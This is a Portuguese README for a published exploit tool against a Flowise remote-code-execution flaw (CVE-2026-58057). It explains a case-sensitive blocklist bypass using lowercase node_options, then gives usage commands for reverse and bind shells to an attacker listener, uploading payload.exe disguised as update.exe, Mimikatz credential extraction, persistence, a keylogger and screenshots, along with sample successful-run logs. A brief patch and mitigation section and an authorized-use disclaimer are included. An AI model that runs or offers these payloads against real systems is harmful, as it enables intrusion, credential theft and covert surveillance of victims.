Exploit de RCE no Windows da Flowise para a CVE-2026-58057. Contorna a validação de variáveis de ambiente através de uma falha de sensibilidade a maiúsculas/minúsculas. Usa node_options para injetar código arbitrário via MCP stdio. Suporta reverse shell, persistência, upload de arquivos e extração de credenciais. Apenas para testes de segurança autorizados.
Este é um exploit de nível de produção para CVE-2026-58057, uma vulnerabilidade crítica de Execução Remota de Código no Flowise em plataformas Windows. A vulnerabilidade decorre da validação de variáveis de ambiente que diferencia maiúsculas de minúsculas e que não consegue bloquear node_options em minúsculas, permitindo que atacantes contornem a lista de bloqueio NODE_OPTIONS e executem código arbitrário por meio da configuração Custom MCP stdio.
O exploit demonstra práticas profissionais de engenharia de software, com arquitetura modular, tratamento abrangente de erros e suporte a múltiplos tipos de payload.
IMPORTANTE: Esta ferramenta é fornecida apenas para testes de segurança autorizados, testes de penetração e fins educacionais. O autor não é responsável por qualquer uso indevido ou dano causado por este software. Sempre obtenha autorização adequada antes de testar qualquer sistema.
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
O atacante autentica no Flowise
Cria/Modifica o nó Custom MCP stdio
Injeta a variável de ambiente node_options em minúsculas
Define o valor como --require malicious-loader.js
O Node.js executa o loader quando o MCP stdio é executado
Execução de código arbitrário é alcançada
✅ Reverse Shell - Conecta de volta à máquina do atacante
✅ Bind Shell - Abre porta de escuta no alvo
✅ Execução de Comandos - Executa comandos arbitrários do sistema
✅ Upload de Arquivos - Envia arquivos para o sistema alvo
✅ Persistência - Múltiplos mecanismos de persistência
✅ Coleta de Informações - Coleta informações do sistema
✅ Extração de Credenciais - Integração com Mimikatz
✅ Captura de Tela - Captura telas da área de trabalho
✅ Keylogger - Instala capacidade de registro de teclas
🔐 Múltiplos Métodos de Autenticação - Chave de API ou usuário/senha
🔄 Lógica de Nova Tentativa Automática - Resiliente a problemas de rede
🧹 Autolimpeza - Remove arquivos de loader do alvo
🌐 Multiplataforma - Funciona em Windows/Linux/macOS
🎨 Saída Colorida - Legibilidade aprimorada
📊 Depuração Detalhada - Registro detalhado para solução de problemas
Python 3.6 ou superior
pip (gerenciador de pacotes do Python)
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| Opção | Descrição | Exemplo |
|---|---|---|
-t, --target | URL do Flowise (Obrigatório) | http://localhost:3000 |
-k, --api-key | Chave de API do Flowise | flowise_abc123... |
-u, --username | Nome de usuário | admin |
-p, --password | Senha | password123 |
| Opção | Descrição | Exemplo |
|---|---|---|
--payload | Tipo de payload | reverse_shell |
--lhost | Host do listener | 192.168.1.100 |
--lport | Porta do listener | 4444 |
--command | Comando a executar | whoami |
--local-file | Arquivo para enviar | payload.exe |
--remote-path | Caminho remoto de salvamento | C:\\Temp\\update.exe |
| Opção | Descrição |
|---|---|
--interactive | Iniciar shell interativo |
--verbose | Ativar saída de depuração |
--timeout | Tempo limite da requisição em segundos |
--retries | Número de tentativas |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload screenshot
| Payload | Descrição | Argumentos |
|---|---|---|
reverse_shell | Conectar de volta ao listener | --lhost, --lport |
bind_shell | Abrir porta de escuta | --lport |
command_exec | Executar comando | --command |
file_upload | Enviar arquivo para o alvo | --local-file, --remote-path |
persistence | Instalar persistência | Nenhum |
info_gather | Coletar informações do sistema | Nenhum |
mimikatz | Extrair credenciais | Nenhum |
screenshot | Capturar tela | Nenhum |
keylogger | Instalar keylogger | Nenhum |
# Upgrade to version 3.1.3 or later
npm install -g flowise@latest
# or
docker pull flowiseai/flowise:latest
Restrinja o acesso à configuração Custom MCP
Implemente segmentação de rede
Monitore variáveis de ambiente suspeitas
Use Firewall de Aplicação Web (WAF )
# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous: # Case-insensitive check
raise ValueError(f"Modification not allowed")
[14:32:15] ℹ Starting exploit sequence...
[14:32:15] ℹ Attempting authentication...
[14:32:16] ✓ Authenticated with API key
[14:32:16] ℹ Preparing reverse_shell payload execution...
[14:32:16] ℹ Injecting environment variable...
[14:32:17] ℹ Triggering payload execution...
[14:32:19] ✓ Payload 'reverse_shell' executed successfully!
[14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444
[14:32:15] 🔍 Session created with retry strategy
[14:32:15] 🔍 Using existing workspace: ws_123456
[14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio configuration updated
| Problema | Solução |
|---|---|
| Erro de Certificado SSL | pip install --trusted-host pypi.org -r requirements.txt |
| Permissão Negada | pip install --user -r requirements.txt |
| Conexão Recusada | Verifique a URL do alvo e a conectividade de rede |
| Falha de Autenticação | Verifique a chave de API ou usuário/senha |
| Falha no Payload | Use --verbose para depuração detalhada |
| Versão do Python | Garanta que o Python 3.6+ esteja instalado |
# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose
# Test connectivity
curl -k https://localhost:3000/api/v1/version
# Check Python version
python3 --version
flowise-CVE-2026-58057-exploit/
├── exploit.py # Main exploit script
├── requirements.txt # Core dependencies
├── README.md # This documentation
├── LICENSE # MIT License
└── CHANGELOG.md # Version history
Faça um fork do repositório
Crie um branch de funcionalidade (git checkout -b feature/amazing )
Faça commit das alterações (git commit -m 'Add amazing feature')
Envie para o branch (git push origin feature/amazing)
Abra um Pull Request
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.
FlowiseAI pelo produto
Pesquisadores de segurança que descobriram vulnerabilidades semelhantes
Comunidade de pentest pelas metodologias de teste
Autor: Sudeepa Wanigarathna Pesquisador de Segurança e Testador de Penetração
Se você achar esta ferramenta útil, considere:
⭐ Dar estrela no repositório no GitHub
🔔 Seguir para atualizações
📝 Relatar problemas ou sugestões
Feito com ❤️ para a comunidade de segurança